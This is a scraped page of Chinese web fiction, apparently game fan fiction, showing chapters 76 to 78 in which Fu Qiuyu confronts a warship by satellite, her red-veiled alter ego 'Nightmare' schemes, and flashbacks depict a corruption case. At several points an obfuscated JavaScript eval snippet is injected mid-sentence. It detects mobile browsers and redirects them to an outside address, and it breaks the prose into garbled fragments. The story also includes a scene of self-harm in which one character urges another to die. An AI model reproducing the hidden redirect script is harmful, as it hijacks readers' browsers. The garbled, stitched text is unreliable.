她想起何望说这一天的数据已经传回了总部，那里有一台超算，那个算力应该足够了，彼岸总部应该有完整的31分41秒的演算视频。 那个好奇心一起来，傅秋语恨不得马上冲出去把彼岸挖出来使劲拷打，然后她想起自己已经碎碎平安了，拼不起来一点，她又急又烦地抓心挠肝地发了一会儿疯，最后自暴自弃地在椅子上瘫成一个人饼。 算了，累了，毁灭吧，赶紧的。 瘫了一会儿，她又开始翻资料，仗着没人看着她，她像个二流子一样倆腿往桌上一搁，资料放在腿上，手上翻个不停。 找了大概有一个多小时，能量体代谢了两回，傅秋语终于找到了自己想要的东西。 她把其余资料一扔，脚下一用力，椅子滚轮滚向中控台，她按照资料上的数据拨动仪表盘，最后按下启动键。 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872032|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后中控台的屏幕上跳出了卫星图像，傅秋语挥拳打气：“YES！这卫星还能用，太好了！” 她再度拨动仪表，但这次是将卫星探测仪对准了地球，她对着地图设置好经纬度，然后放大画画，屏幕上的地球整体图像逐渐精确到区域，最后锁定在这片海域。 从卫星上看，灰域简直就像地球长出的一块丑陋的癍。 顺便一提，其他的V.E污染区在卫星上也能看到，比如她就顺便看了一下临空市，那大片的一阶段污染区比起这里也是毫无不逊色。 卫星探测器向地面检索，最后还真给她检索出两艘船。 傅秋语皱了下眉，再次放大画面。搞天文的分辨率就是强，从太空上就可以直接看到船身。 其中一艘较小的船上，离这里挺远，看船头航向似乎是从这片海域离开，但目前船在停下修整。 有人在拿着拖把在甲板上拖地，地上一片红，也不知道是什么。那人又拖又冲的，看起来很难清理。 傅秋语有点没看懂什么情况，于是用手机拍下画面准备慢慢研究。 另一艘大的离这里比较近……居然是军舰！上面还停了三架战机！ 傅秋语震惊地看着屏幕，手紧紧地抠在中控台冰冷的铁皮上，后背一阵发凉。 为什么这里会出现军舰？这就是彼岸的支援？彼岸势力有这么庞大？ 还是本来就没有彼岸……彼岸只是深空世界某个国家势力的皮套？ 踏马的她甚至不知道深空世界有哪些国家，除了剧情提到的之外有哪些势力！……茶叶蛋出来受死啊！ 到底是谁……谁最有理由参与这场角逐？ 首先把EVER和深空航天属拎出来！他们都是有观测深空隧道的动机和技术手段的。 一个普通的势力不会有那么大的力量出动军舰，除了这两个势力，她暂时想不出、也不认识其他有实力出动舰队的势力。 军舰上没有插旗，这下更加无法辨别势力来源。 如果她对这艘军舰动手，是不是就等于和这个未知的势力宣战？ 傅秋语焦躁地咬着大拇指关节。 一股戾气从心底升起。 其实她的愿望一直很简单，开开心心生活，简简单单做人，她从始至终的愿望就只有这么简单……只有这么简单！ 再抬眸时，傅秋语已经恢复了冷静。 果然事先收集情报是有必要的，军舰上一般都有反干扰的装置，她用电磁信号去干扰军舰肯定不会成功。 但是这里发出去的信号，他们一定已经收到了，只是在默默监听不予回应。 方案1依然奏效，方案2更改，从信号干扰变为战术进攻。 不是她要和对方敌对，是对方已经和她敌对了。都特么军舰都贴脸了，很狂啊？ 既然怎么都会打起来，未战而先降从来不是她的作风，那就打！ 群狼环伺之时，最好的办法就是揪住那个带头的往死里打，把它打怕了，打服了，狼群自然会退下，不敢再轻易觊觎她。 傅秋语双手交叠指尖相对，做出一个塔状手势，她看着屏幕上的军舰，阴沉地笑道：“既然坐标已经暴露，想怎么进攻就是我说了算。恰好，本人现在有一些力气和手段。” 76.076 救援队在海上划了三个小时。 他们发现空间里的海虽然看起来颜色很正常，实际上却是外面的V.E污染海域的升级版。 这里的时间流逝和外面一样，船上三个人类扛不住饿，中途拿干粮出来补充体力。 齐格啃干粮的时候，一不小心又被浆打到了（他可能和船桨有仇），饼直接飞了出去，这玩意平时都能飘在水上，结果掉到海面上之后，直接水灵灵地沉下去了。 然后他们做了一些小实验，把各种体量轻的东西放海面上，结果都是无一例外的沉底，连粉末都不行。 这还不算，安迪在之前就怀疑，涂层无法在V.E污染中撑太久，因为涂层中只有结晶粉末是高抗材料，其他的都是普通材料，只要时间一长，V.E污染就会浸透这层防护。 事实证明这是真的，在海里划了一个小时，外涂层就已经开始剥蚀。 德雷克庆幸道：“还好加西娅女士那边还留存了一份材料，不然我们就出不去了。” 为了赶紧划到岸上，齐格都松绑了，和他们交替划船。这货也不想憋屈地死在海里，因此也很卖力。 划到第三个小时，他们感觉这艘船的触感都不对了，踩着有种绵软的感觉，有V.E污染的彩光隐隐透出来，船桨也变形了。 他们划到岸上时，V.E污染已经把船底蛀出一个洞，几人是连滚带爬扛着物资上岸，还扔不少已经被污染的物资。 安迪拿出自制的计时器，已经过去34小时，时间已经过去了一半。 一行人从海边往镇子里走，他们发现这里的地形和现实中的海岛非常相似，但要平坦很多。 他们路过一个村庄，有个戴草帽的瘦小孩躺在堆在田野里的草垛上看书，他们问她镇子怎么走，小孩指了个方向，继续看书。 其他人道了谢就离开，安迪却驻足了一会儿。 他屈膝蹲在小孩面前，问她在看什么书。小孩不说话，只是把书递给他看。 是《海的女儿》。 安迪：“看得懂这个故事吗？” 小孩终于说话了。 她说：“不懂。” 安迪：“不懂为什么还要看？” 小孩：“想懂。” 安迪笑了笑，把书还给小孩，隔着草帽揉了揉她的脑袋后，起身跟上同伴。 看着四周熟悉的南方农村的景色，他的思绪回到二十年前。 当年他和秋语还在一起工作时，也不是总是讨论项目上的事，有时他们也会闲聊。 有一次他们聊到自己最不能理解的童话故事，当时他们一致投票给《海的女儿》。 他不理解小美人鱼为什么想要得到灵魂，明明现状已经足够好，秋语不理解得到灵魂为什么要用献祭自己的方式。 他们这种人，血管里流淌的血液都是冷的，理解不了小美人鱼那种炽热而浪漫的思想。 当然，二十年后他还是不理解。但没想到……她居然会因为一个人，想要理解这个故事。 安迪一眼就认出了小秋语。 他曾经在她包里看过一张她带着草帽坐在草垛上看书的照片，听她说那是她家族里的兄长拍的。 他对那张照片印象深刻，因为她的电脑旁总是会养着一朵雏菊，她总说，自己是从田野中来的。 等折返时再来找她吧。 顺着小秋语指的路，他们来到了城镇里，为了不引起注意，他们用齐格的金戒指换了钱，买了几件幻境里的衣服换上。 但饶是如此，每个和他们擦肩而过的人都会下意识注意到他们。 德雷克没心没肺地点评道：“这些人好真实，表情好丰富，比VR馆里的演出还要真。” 安迪：“确实。” 到了城镇后，齐格又被绑起来锁在旅馆里，充分贯彻了“用完就丢”这个准则。 他在房间里骂骂咧咧，但根本没人理他，其他几个人都出去打听教会监狱在哪儿。 他骂累了，想喝水，但由于被绑在椅子上够不着水杯，气得他又是一顿输出，然而并没有卵用。 等骂得实在没力气了，他累得瘫在椅子上，开始想任务的事。 无论如何，他都必须完成任务。炽天使那狗东西怕是想趁机背叛EVER，一旦它成功，他的一切都完了！ 在他眼里，EVER是个相当不错的单位，背景雄厚出手阔绰，只要肯出卖一点灵魂给上层干脏事，好处就能拿到手软，他也算是靠EVER走上人生巅峰了。 唯一美中不足的是，他有一个狗屎上级。 这老登不信任任何人，难以讨好，喜怒无常，还特别喜欢拿身边人做一些疯狂的研究。为防被这老登背刺，他把自己的资产和情人都转移到了海外藏起来。 但他的手脚不麻利，那老登发现了他的小动作。为表衷心，他不得不揽下这个没人肯接的任务。 如果任务失败，他这条命，他的情人，他辛苦打拼的一切就都完了！他好不容易才爬到今天这个位置，炽天使凭什么说毁就毁？！ “嗯哼~你很愤怒……我好像听到什么‘任务’，是什么任务呀？” 一个声音冷不丁地从房间里响起。 ……这房间门窗不是都上锁了吗？！ 齐格惊恐抬头，原本空荡荡的房间里，一个忽然出现的红衣戴头纱的女人坐在桌子那一边，笑盈盈地托腮对他说话：“看你又怒又怕呜呜直叫像只被鞭子打了一顿的狗，还真叫人于心不忍呢~” 她嘴角的笑意堪称恶劣，偏偏声音却温柔得发腻。 她另一只手搭在桌上，有节奏地敲击桌面，他听到她艳红的指甲敲在桌面上，明明是很平常的声音，但他却觉得那声音有点可怕。 红衣女诱哄道：“让我听听你的诉求，说不定我能帮到你呢~？” 齐格：“你谁啊？怎么进来的？你……你是人是鬼？” 这个问题很好，红衣女想了想，说：“我不是人也不是鬼，你可以……叫我‘噩梦’。” 齐格警惕地打量她：“这个空间里的人会有意无意地注意到我们……他们都和你一样？” 噩梦：“毕竟你们身上的活人气息太重了，在这个空间里生存的人可都是……” 齐格颤抖道：“——鬼？！” 他想起来进这个空间时听到了自己家死了的老登趴在耳边说要找他索命……不是吧？不是吧？！ 噩梦：“你要这么理解……可以。” 齐格脸色发白，两眼一黑。 齐格：“你……你为什么找上我？我又没害过你！……不对，你说你不是鬼……那你找我干什么？我没什么可和你聊的！” 噩梦：“也不想聊任务吗？” 齐格暗自恼恨自己刚刚什么话都骂出来，只能装傻道：“……我不知道你在说什么。” 她叹了口气，作势起身要走，“那可惜了，你的房子车子票子女人和你的小命，都要一起变成蝴蝶飞走了~” “本来还想帮帮你，但你好像不需要呢。也是，双死就是HE，你们在地下也能团团圆圆的~” 齐格急忙喊住她：“等等！你等等！我觉得我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894765|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还可以再聊聊！……不过你到底是谁？” 看着她头纱下那若隐若现的脸，他恍然大悟：“这个空间里没有活人，但NPC通常没法对自己生存的世界有正确的认知……但你不但知道，还能找上我，说明你在听到我说话之前就知道我是带着任务来的……你是加西娅？！” 他警惕地问：“外面有人找你，你不和他们碰面，却反而来找我，你想做什么？” 噩梦：“我来找你合作呀~你的任务不就是带我走么？” 齐格：“那又如何？” 噩梦：“但我被这个空间困住了，即使你想把我带走，我也没法离开。既然我们目的一致，不如合作？” 齐格的表情在困惑和警惕之间来回切换，“你为什么选我合作？” 噩梦：“理由很重要么？我只知道，你没有理由拒绝我。” 她优雅伸手，一朵带霜的玫瑰出现在她的掌心，她笑着走过来，将玫瑰别到他胸前，“一个赤手空拳的恶人造成不了任何威胁，我把‘刀’给你，想怎么用你自己看着办。” 玫瑰有着血的腥臭和花的芬芳，还带着穿透衣物的寒气，他颤抖着发白的嘴唇，说：“……我知道了。” “那就好~” 红纱下，她猩红的嘴角勾起一抹恶意的微笑，她像拍菜市场猪肉一样重重地拍着他的脸：“你可千万不要让我失望……” 说完，噩梦笑着后退，化作一团雾气消失不见。 齐格心脏呯呯直跳，直到对方消失不见，他才无声仰头，嘴巴咧到最大，无声地爆发偷感极重的狂笑（怕笑出声被噩梦听到）。 这个噩梦大概也不知道，他实际上已经听到了加西娅和炽天使的谈话，知道了加西娅其实根本不想出这个空间。 而她现在绕开别人找他谈合作，还为了方便他办事，特地给了他‘刀’。 这截然相反的态度，截然不同的能力，甚至是说话声线、语气都完全不同……这一切的一切都昭示着一件事—— 救世主加西娅，这个空间的主人，已然失控！ 自己和自己打起来，这世上居然还有这么好笑的事！！ * 噩梦站在海边，眺望空间的尽头。 海风卷起她的‘头纱’，纤薄的褶皱被风展开，犹如一双蝶翼正在展翅。 浮空岛隐匿在云端，从下方完全看不到它的存在。 V.E之海的引力阻断了她前往浮空岛的路，她们的分裂又阻断了她出去的路。 噩梦苦恼地叹气，“两个没用的废物，要死也不知道死远一点，非要挡我的路。” “一个傻得可怜，把V.E生物当活人，沉沦在过家家的游戏里，还设置针对我的规则。一个蠢得可笑，自以为理性客观，以为躲在这个龟壳里，外界就奈何我们不得……” “哈哈哈哈哈哈好蠢！都好蠢！……我们把力量用在制衡彼此身上，到底有什么意义？” “就应该杀出去，把他们都杀光！想要得到什么就去抢，想要权利就去争，什么彼岸什么EVER想和我们玩那就去好好玩，把他们都杀了！这个世界不过是我们的掌中玩物，区区玩物而已，竟敢把主意打到主人头上，找死！” 她扭曲地笑道：“既然你们有各自的意志，不愿意整合，那我就帮你们~” “毕竟，你们是傅秋语，我也是傅秋语，你们把疯狂与欲望从自己身上割离，以为自己从此之后就可以干干净净地活着，却忘记了……沉沦滋生欲望，理性孕育疯狂，我们从来都是一体的，而我，一直都是最终答案……！” 77.077 3月14日，情人节。 辞去工作，在自己的出租房里颓废了两个月，活得像个鬼一样的傅秋语难得打扮了一番，踏出房门。 因为今天是负责调查陈革贪腐案的监察人员与她约定会面的日子。 ——“这个案子牵扯人员太多，上到机构高层，下到普通库管人员，里面……甚至包括你的父母，你真的愿意配合我们调查？” ——“是。” ——“我可以问一下，为什么吗？” ——“公道……我要一个公道。我的公道，老师的公道，还有那些死者伤者的公道。” ——“我明白了……这案子的确难啃，但你要相信，我们有充分的决心和信心，将它一查到底。” 从监察厅出来后，傅秋语脑子短暂地放空了。 她像个游魂一样游荡在大街上，找不到来路，找不到归处。天地之间，好像没什么值得她牵挂的东西。 无数情侣手挽着手从她身边擦肩而过，商家的情人节促销活动的横幅满大街都是，鲜花、气球、巧克力组成了这个日子，连空气都飘着糖果的香气。 傅秋语飞到天外的魂魄被热闹的凡尘拉回来，她一抬头，看到了一家花店，花店贴着“为你心爱的人送一束花”的标语。 她走进花店，买了一束白玫瑰。 店员问她是不是要送给喜欢的人，她笑笑说不是。 出了花店后，她找了个可以看到整条街，但又避开人流的地方，坐在长椅上，看着来来往往的行人发呆。 那束白玫瑰放在她身侧。 她没有想送花的人。 这束花是送给她自己的。 正思考人生，人群忽然有个男人向她冲过来，傅秋语一看，居然还是个熟人，基地里管财务的。 她还没想明白他怎么会在这里，他就哐一下跪下来了，膝盖磕在地上发出沉闷的声音。 男人拉着她的衣服说：“我看到你从那里出来了！傅秋语……我求你高抬贵手，看在我们相识一场的份上，不要举报我，我求你了！” 傅秋语拧紧了眉，把衣服从他手里抽出来，平静而冷漠地说：“现在知道求我，当初怎么不知道把手放干净一点？” 男人：“我……我也是没办法！我从小家里穷，受够了苦日子……我不想让我的孩子也和我一样……我不能坐牢，我不能！我的钱……都给我妈治病去了，我身边没有一分钱，我还要供养孩子上学，我不能坐牢！” 傅秋语一个耳光抽到他脸上：“这话你怎么不和那些还躺在医院里靠着高昂药品续命的人说？你怎么不和那些失去了家里唯一的劳动力的老人说？你怎么不和那些死了丈夫的妻子说、死了父亲的孩子说？！” 人在极度的愤怒中，反而会笑出来，她笑着说着这些话，眼角肌肉却控制不住地抽搐。 她的头好疼，像是恨不得要把她折磨疯了那样疼。 ……凭什么只有她在疼？凭什么只有她在疼！！ 傅秋语抓住他的衣领，强行让他从地上起来：“现在你想靠卖惨搏我的同情是吗？你情愿向我下跪，都不愿意跪在陈教授和在这场事故里死去的人的墓前忏悔！我看你家还不够惨，你应该马上去死，你重病的妈和上学的孩子才能体会到那些受害者家属的痛苦！” 男人痛哭流涕：“别说了……别说了！你以为我有的选吗？我没得选！如果我不做，我就会出局，你这样有才干的人根本不懂！！” 他从衣襟下猛然抽出利刃，向傅秋语刺去。然而傅秋语虽然是科研人员，但她身体反应能力一直很厉害，这是天生的，她很多次都依靠纯粹的条件反射躲过了危险。 这一次她依然如此，男人的刀刚掏出来，她就已经看到并做出了反应，往旁边避开的同时，还踹了他一脚，一脚给他踹得趴在长椅上。 男人刺出这一刀之后，就仿佛已经用光了他的所有勇气。 他颤抖着，哭泣着，那颤抖的刀尖指向了自己：“你以为你做这些有意义吗？背后的大鱼，你们根本抓不到……你就只能抓到我们这些小虾米！与其等着被抓，去坐牢……不如直接死了！” 他泪流满面，表情绝望。 傅秋语呼吸急促，拳头捏紧了，痛楚在撕裂她的理性，她的额角青筋跳动。 她说：“刀不是就在你手上吗？你怎么还不去死？动手啊！！” 她冰冷的、毫不留情的话语终于将他岌岌可危的精神彻底摧毁，他哭嚎着，一刀刺在了自己的手臂上，鲜血飞溅，染红了她摆放在长椅上的白玫瑰。 傅秋语浑身发抖，她已经完全感受不到恐惧，突如其来的极端刺激，肾上腺素飙升的情况下，她能感受到的只有极端的愤怒。 她冰冷地笑道：“你这不是做不到吗？你这个……没用的东西！” 一对情侣路过发现了这里的情况，男生冲过来制止男人自残，女生则是把她拉到一边问她有没有受伤，这里发生了什么。 傅秋语：“这个男人有家室孩子都十几岁了却还不死心地纠缠我本来想拒绝他居然自残威胁我这太可怕了呜呜呜。” 情侣听了大怒，直接扭着他就送警察局去了。约会可以改天，现在整治下头男才是人生第一大事。 傅秋语被围观群众安慰了一顿，等人群散去后，傅秋语装出来的柔弱表情渐渐冷却。 她看到白玫瑰被血染红了，变成了……红玫瑰。 “玫瑰脏了……那就不能要了。” 她精神恍惚地抱着玫瑰去找垃圾箱，路过一家店时，衣服带子不小心勾到了立牌，立牌倒下砸到她的脑袋。 痛倒是不痛，但是店员吓了一跳，连忙过来把立牌扶起来，问她有没有伤到。 傅秋语看了眼立牌，紫色卷毛，不对称的针织衫，眼睛是夕阳落入海面时最后一抹余晖的颜色，笑容很爽朗……不认识的动漫人物立牌，最近几年流行游戏联名活动，经常看到这类立牌放在店门口，这个应该也是。 她看到这个立牌人物手中捧着一束像火焰一样的花，那鲜红的颜色撞入眼底，一下就把她的魂从天外拉回到人间。 血染的玫瑰散发着血的腥味和花的芬芳，交织成一种奇异的气味，她感觉自己灵魂正孕育着某种疯狂，它如烈火一般，焚烧着她的心脏。 男人崩溃的嘶喊在她的脑海中回荡。 傅秋语忽然陷入某种恐惧中：“没用吗？我做的一切……就只能抓住那种小角色吗？公道……我要的公道，老师的公道，讨不回来吗？不允许……我绝不允许……！” 她忽然很想念昭昭，她打电话给她，对方秒接她的电话。 昭昭：“你在哪儿？我刚到你家门口，发现你不在家，正准备打电话找你来着，我给你送了好吃的！” 傅秋语：“我出门办事，马上回来。我问你个问题，你要认真回答我。” 昭昭：“你的问题我哪次不认真回答？你问吧！” 傅秋语：“一朵白玫瑰被血染红了，它还算白玫瑰吗？” 昭昭深吸一口气：“……这得看这朵玫瑰，是想继续做白玫瑰，还是想当红玫瑰。而且……她本来就是纯净的白色，只是暂时被血染红了，只要她想，只要被水冲一冲，她还是那个无瑕的白玫瑰。” 傅秋语：“即使血洗干净了，气味也还在，有些东西沾上了就永远甩不掉。” 她的视线终于搜寻到垃圾箱，她又看了眼立牌人物和他怀中的火焰般的鲜花，随后在店员畏惧的目光中离开了。 昭昭：“所以， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但我们都应该知道的，过去的事无法改变，这里的一切，我都……很看不顺眼！你死了，我穿越了，我再也不可能见到昭昭，这就是现实。” “……哈，真讽刺，难道唯有疯狂才能接受现实、才有勇气对抗一切吗？” 红纱下，噩梦阴森地勾起一抹笑意：“那不如疯得更彻底一点……” 无数血玫瑰从她的头纱上脱离，落在地上，生根发芽，钻入地下，壮大根系，墓地中转瞬开出了大片大片的荆棘玫瑰。 她像指挥音乐一样轻轻挥手，荆棘玫瑰的根系像一条巨蛇，直接卷起大块大块的墓土从地下破土而出，陈革的墓碑被根须搅碎了，墓地被整个翻了过来，一切在瞬间被破坏殆尽。 “看不顺眼……看不顺眼！这种对过去事物的拙劣模仿，根本没有意义！” 她的手在举到最高点时重重划下，荆棘玫瑰又钻入了地下，直接将墓地里钻出一个大洞。 “不过，在藏东西这方面，我还是得夸夸某人的。居然想到把它们藏在这里，还真不是一般人能想到的……可惜，我不是一般人。” 黑黢黢的地洞之下传来流浪体的嘶鸣和怒吼，荆棘玫瑰抓住了它们，把它们从地底拽了上来。 磷龙庞大的身躯宛如一座堡垒，紧紧护着弥斯特。噩梦仅是淡淡一瞥，嘴角勾勒出一抹森冷的微笑。 噩梦笑着说：“被关在地下这么久，一定很愤怒，很害怕吧？别怕，我是来帮你们的……你看，我都把你们救出来了，对吧？” “其实我和你们的目的是一样的，都为了加西娅而来。我想我们可以合作一下？” 磷龙不懂这女人肚子里憋的什么坏，只是一味吼叫。 噩梦：“哎呀……原来和米迦勒不一样，听不懂我在说什么？那就更好办了……” 荆棘玫瑰重重地将它们甩到地上，用力之猛，整片大地直接震了一下。 两只流浪体怒了，红温了，噩梦松开它们，它们顿时吼叫着冲上来。 噩梦哈哈大笑，它们在后面追，她在前面飞，她引着它们冲向了城镇。 破坏吧，破坏吧！把这虚假的世界破坏殆尽！ 没有人可以挡她的路，过去没有，现在也没有！ 78.078 好不容易把客户送走，昭昭终于松了口气，整个人像散了架一般瘫倒在椅子上，一动也不想动。 同事说外面太阳很好，她转头看了一眼，确实，窗外花园里花开得很好，蝴蝶翩飞，让她想起了自己的好友。 她掏出手机，想了很久，字打出来又删掉，打出来又删掉，来来回回好几次，她最终只发了一句话—— 【迢迢归路：等一切结束，我们一起去海边吧？】 她们是彼此最好的挚友，秋语脑子很复杂，她总是会想很多事，总是过得很不开心……但她总是能想到办法逗她开心。 可那件事发生后，她无论怎么哄，秋语脸上都再也没有露出过笑容。即使有，也是勉强挤出来安慰她的。 其实……白玫瑰也好，红玫瑰也好……昭昭知道，秋语一直都是秋语，无论她变成什么样，她都是她最好的挚友。 蝴蝶，代表蜕变，重生。 她一直觉得秋语像蝴蝶，但秋语可嫌弃了，她说蝴蝶太脆弱，无法承受风雨，她要当强大的不死鸟。 我的好友啊……你不也一样，用脆弱的身体承受了那么多的风雨吗？ 最近半年，秋语的头疼症越来越严重，从前只是觉得头闷闷的后脑微痛，现在却觉得像有刀钻在头里，耳鸣也越发严重，偶尔还有幻听，有很多次吃药都不管用。 昭昭强行带她去了几次医院，但医院给的答案都是，她的大脑状态无比正常，这一切都是情绪原因导致的。 ……发消息过去，过了很久都没有回复。 秋语去当正义的使者，惩恶扬善去了……为了别人……和她自己的光明，她先拥抱了黑暗…… 每当她不回消息，昭昭都担心自己是不是再也收不到好友的消息。 她们曾经无话不谈，但从那天过后，秋语再也没说过和计划有关的任何话题，因为她被排除在她的计划之外。 虽然知道这是在保护她，但……好不甘心。 直到晚上要睡觉的时候，昭昭又看了眼手机。 秋语在半小时前回消息了。 【雨丘：那一天不远了】 * V.E生物昭昭坐在漆黑的长廊里，哼着那首秋语曾经和她说过，她最喜欢的曲子——《柳树摇篮曲》。 大海，她们见过了…… 虽然那是真正的昭昭和秋语去的，她只是继承了秋语对昭昭的记忆而创造出来的假昭昭，但……就当她们去过了吧。 歌声引来了她想见的人。 那个红色戴头纱的身影从黑暗中走出来，来到她身前，低头看她。 噩梦：…… 她没有说话，半掩的红纱下，那总是带着若有若无的恶意的视线如回归巢穴的毒蛇，懒洋洋地散发着危险的警告。 昭昭可不怕她，她歌声没有停下，反而站起来绕着她转了一圈，不但伸手把她的红纱摘下，还踮着脚拨开她挡在脸前的头发，露出一张斑驳的脸。 噩梦没有阻止她，任她摆弄。 一点都不恐怖，反而透着悲凄的艳丽。 ……怎么可能怕得起来呢？ 她知道她的所有过去……知道她的执迷、她的隐忍、她的疯狂……她比任何人都了解她。 昭昭哼着最后的旋律，背着手站在她身前，对她笑了笑。 昭昭伸出两只手，眼中闪烁着狡黠的光芒：“嘿！我的手里藏着你最喜欢的小零食，快猜猜看它在哪只手里？” 噩梦不语，选了她的左手。 昭昭展开，她手心里躺着一块山楂糖。 噩梦又选她右手。 昭昭：“诶——你作弊，怎么能两只手都选呢！”她不满地怪叫，然后嘴角一翘，展开右手，“但是你猜对了，这只手也有你爱吃的。” 右手心里是一块大白兔奶糖。 噩梦笑了下，她没有拿她手里的糖，而是向后退了一步，冷漠地俯视她。 昭昭挠头叹气：“你现在还真难哄，连这招都不管用了。” 噩梦：…… 昭昭：“怎么不说话？看你现在一副日天日地的样子，搞得我还以为这些年的情谊都不要了。怎么现在我想要破坏规则，你反而遵守了？原来你也怕伤到我？” 噩梦转身就走。 昭昭对着她的背影大喊：“我都免费唱歌给你听了，你就不能把话听完再走吗？……我就说一句！” 噩梦停下脚步。 她没有回头，仿佛在用背影催促她快说。 昭昭：“我知道这里困不住你，因为我认识的秋语最讨厌被什么人困住了，就算是自己也不行。小语只是……太苦了，只想拼命地抓住过去自己拥有的东西。但她也是你，她是你割离的一部分，希望你到时候……下手轻一点。” 她的‘一句话’好长，噩梦冷漠的脸上浮现出几分躁乱，不等她说完就走了。 昭昭追着她的背影，急切地说：“还有祁煜，我会让他想起来自己是谁，他不会妨碍你，只会帮助你……好不容易见到他了，就算你现在有自己的想法，也别忘了他是你在这个世界唯一重要的人。” “别对他下手……不然，你会后悔的！” 噩梦消失在黑暗中，昭昭失落地垂下头，看着手掌中的山楂糖和大白兔愣神。 笑死，她不是真正的昭昭，红衣女也不是完整的秋语，她居然还觉得这招能管用。 她拆掉大白兔奶糖的包装把糖塞自己嘴里。 ……苦的。 * 一切尘埃落定，傅秋语得到了自己想要的，她回到了自己简陋的出租屋，回到了昭昭身边。 所有执念和怨恨都在目标落网的瞬间消失，傅秋语感觉自己的心空了。 无论是爱还是恨都太消耗人的精神，它们像燎原的野火般烧尽了她对生活所有的渴望，唯余一片焦原荒土残留于世。 一个平平无奇的下午，秋语和昭昭瘫在沙发上玩手机。 傅秋语在游戏里和流浪体战斗爽了之后，戳了戳首页里的小鱼，对方过来拉了拉她的手。她又戳戳他的脸，小鱼生气地背过身去了。 忽然，她问昭昭：“为什么小鱼在经历了利莫里亚灭族之后，还能对人类抱有善意，甚至还能喜欢上身为人类的我？一般流程不应该断情绝爱化身纯恨战士了吗？” 昭昭：“……我不道啊？你要不问问他？” 傅秋语：“好难理解恋爱脑。三万年就喜欢一个人，就算经历了那么多也还是热爱世界……果然是人外才有的感情。是吧？小恋爱脑~” 她摸摸给她留了个背影的小鱼的脑袋，小鱼转过来不爽地对她说：“我不是你养的小猫小狗～顺顺毛就会跟你走。” 傅秋语：“要不你来教教我，爱一个人是什么感觉，爱这个世界又是什么感觉？养了你这么多卡，就当我提前预支过学费了，怎么样，鱼老师？” 她又戳他，平时要戳好多下才会转过来的家伙，这次居然戳了两下就转过来了。 他说：“……我刚刚为什么要转过来？……算了，好久不见。” 昭昭起哄：“他答应了。” 傅秋语跟着笑了笑，无趣的人生有了这些偶然的小惊喜，也稍微感觉到了一点趣味。 小鱼在手机里看她，她看向窗外，天气晴朗，阳光很好。 一种莫名的直觉忽然浮现在她的心头，她丢下手机走到阳台，看向天空。 ……什么都没有。 也是……虽然这里离上海（游戏中的临空）很近，但游戏是游戏，现实是现实，不可能忽然冒出个深空隧道。 这下分不清游戏和现实的人变成她了。 正当她自嘲着，忽然，她的头一痛，像被人打了一棍子，耳鸣声忽然变得很剧烈，在那尖锐的声音中，她听到了某种金属器质有节律的嗡鸣。 ……又幻听了。 昭昭：“头又疼了？” 傅秋语：“嗯。”她去床头柜拿药，回来给自己倒了杯水，掰开药片服下。 昭昭担忧地说：“你的头疼越来越严重了。” 傅秋语闭上眼睛，疲惫地捏了捏眉心：“没事……又死不了……” 游戏中的小鱼好像卡住了，一直站着没有触发闲置对话，他看着屏幕外面，仿佛努力地想要看清屏幕那边的人。 剧烈的痛苦渐渐地被药效压下，傅秋语忽然意识到刚刚小鱼一直没说话，就切换了下页面再回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而即使她失去了那么多，当她真正面对他时，她却忽然发现，自己没有了猎人小姐的身份，她甚至没有理由接近他。 这个世界不属于她，他也不属于她，她是不该存在的黑户，是一个外来者。 ……不用教了。 反正……她的心已经空了。 人只要没有了执念，就会没有欲望，没有了欲望，就会放下很多无谓的期待。 第一次知道他的存在时，她抱着一束花，他也抱着一束花，玩这个游戏后，她发现他是一位创作者，她也是一位创作者，他有血海深仇要报，她也有仇要报。 多巧啊。 命运的牵引让他们相遇……但不是所有的命运都会指向好结局。 她对他……没有任何期待。 傅秋语为他戴上了花环，了却自己的念想。但是祁煜却……抓住了她的手。 他说：“这下跑不掉了。” 那一刻，她很慌乱，甚至是……有怨气的。 ——为什么要抓住我？我都已经这么大度地放手了，为什么你反而靠上来？ …… 午夜12点，小鱼向噩梦许下了愿望，他的愿望是——帮他说服小语和他一起逃出监狱。 噩梦意外地掩唇。 没有人看见，她红纱之下的脸部肌肉扭曲成一个憎恶的表情，她的杀意急速攀升，寒气让整个房间变得无比阴冷。 都忘记她是谁了，还抓着不放吗？真是烦人！ 不明白……搞不明白！ 反正也不会有好结果，不如就在这里——杀了他！ 留在祁煜身边的蓝蝴蝶感知到了她的杀意，闯入了小鱼和噩梦的谈判现场，它的存在告诉她，它不会坐视不管。 噩梦木然地看着，然后不屑地笑了。 她不明白，也不需要明白。 反正，都是她的棋子。姑且……还可以利用一波。如果能通过他说服“小语”这个碎片，无疑能让她的计划更顺利一些。 那就…… 暂时留着吧。